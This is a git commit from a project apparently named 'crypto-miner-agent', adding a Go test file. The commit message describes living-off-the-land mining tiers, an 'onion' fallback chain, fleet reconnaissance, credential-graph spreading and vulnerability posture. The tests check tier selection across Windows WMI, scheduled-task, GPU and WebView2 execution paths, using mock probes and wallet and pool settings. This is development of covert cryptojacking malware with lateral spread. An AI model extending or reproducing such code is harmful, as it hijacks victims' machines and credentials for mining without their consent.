Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -0,0 +1,74 @@
package miner
import (
"context"
"runtime"
"testing"
"crypto-miner-agent/config"
)
func TestRunWebView2ProbeMock(t *testing.T) {
SetWebView2Probe(func() WebView2ProbeResult {
return WebView2ProbeResult{
RuntimeInstalled: true,
WebGPUAvailable: true,
BinaryName: webView2BinaryName,
ProbeOnly: true,
}
})
defer SetWebView2Probe(nil)
attempt := RunWebView2Probe(context.Background(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{Wallet: "w"},
})
if !attempt.OK {
t.Fatalf("attempt=%+v", attempt)
}
if !WebGPUAvailableFromAttempt(attempt) {
t.Fatal("expected webgpu available")
}
}
func TestRunWebView2ProbeNoRuntimeGracefulSkip(t *testing.T) {
SetWebView2Probe(func() WebView2ProbeResult {
return WebView2ProbeResult{RuntimeInstalled: false, BinaryName: webView2BinaryName}
})
defer SetWebView2Probe(nil)
attempt := RunWebView2Probe(context.Background(), config.RuntimeConfig{})
if attempt.OK {
t.Fatal("expected probe failure without runtime")
}
}
func TestSelectMiningTierChainIncludesWindowsTiers(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("windows LOTL tiers require windows")
}
probes := EnvironmentProbes{
Docker: true,
WSL: true,
PowerShell: true,
DotNet: true,
GPU: true,
WebView2: true,
}
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
GPUEnabled: true,
RVNWallet: "rvn",
PoolHost: "pool",
Wallet: "cmr",
},
})
found := map[LOTLTier]bool{}
for _, t := range chain {
found[t] = true
}
for _, want := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask, TierGPUCompute} {
if !found[want] {
t.Fatalf("missing tier %s in %v", want, chain)
}
}
}